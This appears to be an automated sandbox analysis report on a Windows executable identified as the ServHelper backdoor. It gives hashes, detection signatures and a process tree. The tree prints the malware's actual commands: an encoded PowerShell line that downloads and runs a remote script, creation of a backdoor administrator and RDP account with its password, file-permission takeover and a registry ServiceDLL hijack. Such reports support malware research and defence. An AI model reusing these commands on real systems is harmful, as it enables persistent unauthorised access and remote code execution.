Analysis

  • max time kernel
    132s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    13-07-2021 12:42

General

  • Target

    753f0b9b7183051f2f09ccd68d418969.exe

  • Size

    6.0MB

  • MD5

    753f0b9b7183051f2f09ccd68d418969

  • SHA1

    ffcd59bc747170fcd30032d3ca1da6861330e99c

  • SHA256

    5c7e8b5ecf30c04a3a6e3726328c37eccfc8f0656797894d71e2ac7c27c20c9d

  • SHA512

    1e36d40c6245943430c7ed1dc1ed19a88f930842bc14f478dfee3f91fb18d7d3026312dc8ec856b3982f97d0e93510833945dee0b27533ae6a4130cee0f2dfec

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\753f0b9b7183051f2f09ccd68d418969.exe
    "C:\Users\Admin\AppData\Local\Temp\753f0b9b7183051f2f09ccd68d418969.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1616
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xgloicqd\xgloicqd.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:856
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D.tmp" "c:\Users\Admin\AppData\Local\Temp\xgloicqd\CSCC4E379F9F6C046A7862A52C1FBA263F0.TMP"
          4⤵
            PID:1728
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1736
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:524
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1764
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1200
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1460
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1136
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:812
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:816
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:616
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:920
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:556
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1500
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:936
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:740
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1600
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1364
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:924
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1960
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1316
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:896
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1256
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:2028
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:524
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:2004
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1732
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:968
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1824
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1060
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:616
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 891ClYMN /add
                                  1⤵
                                    PID:2008
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 891ClYMN /add
                                      2⤵
                                        PID:1292
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 891ClYMN /add
                                          3⤵
                                            PID:1968
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1972
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:744
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:652
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:924
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:904
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:1340
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:2020
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1736
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:936
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc 891ClYMN
                                                          1⤵
                                                            PID:920
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc 891ClYMN
                                                              2⤵
                                                                PID:1956
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc 891ClYMN
                                                                  3⤵
                                                                    PID:1556
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1884
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1732
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1292
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:936
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:960
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1556
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2008

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/524-134-0x00000000023A0000-0x00000000023A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-133-0x000000001AB30000-0x000000001AB31000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-131-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-129-0x00000000028B0000-0x00000000028B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-127-0x000000001AB94000-0x000000001AB96000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/524-126-0x000000001AB90000-0x000000001AB92000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1616-84-0x000000001B600000-0x000000001B601000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-72-0x0000000002720000-0x0000000002721000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-158-0x000000001C260000-0x000000001C261000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-69-0x00000000024A0000-0x00000000024A2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1616-70-0x00000000024A4000-0x00000000024A6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1616-101-0x00000000024AA000-0x00000000024C9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1616-68-0x000000001AB00000-0x000000001AB01000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-71-0x00000000026F0000-0x00000000026F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-67-0x00000000026B0000-0x00000000026B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-74-0x000000001B720000-0x000000001B721000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-66-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1616-85-0x000000001B7F0000-0x000000001B7F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-82-0x0000000001F20000-0x0000000001F21000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1616-86-0x00000000027F0000-0x00000000027F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1736-120-0x000000001B5C0000-0x000000001B5C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1736-119-0x000000001B4B0000-0x000000001B4B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1736-97-0x000000001B6A0000-0x000000001B6A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1736-94-0x000000001AAD4000-0x000000001AAD6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1736-100-0x0000000002240000-0x0000000002241000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1736-95-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1736-99-0x000000001B540000-0x000000001B541000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1736-106-0x000000001B8E0000-0x000000001B8E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1736-93-0x000000001AAD0000-0x000000001AAD2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1764-148-0x000000001AB90000-0x000000001AB92000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1764-149-0x000000001AB94000-0x000000001AB96000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1820-62-0x0000000028664000-0x0000000028666000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1820-61-0x0000000028662000-0x0000000028664000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1820-63-0x0000000028666000-0x0000000028667000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1820-59-0x00000000417A0000-0x0000000041BC0000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1820-64-0x0000000028667000-0x0000000028668000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2008-208-0x0000000019680000-0x0000000019682000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2008-239-0x000000001968A000-0x00000000196A9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/2008-209-0x0000000019684000-0x0000000019686000-memory.dmp

                                                                        Filesize

                                                                        8KB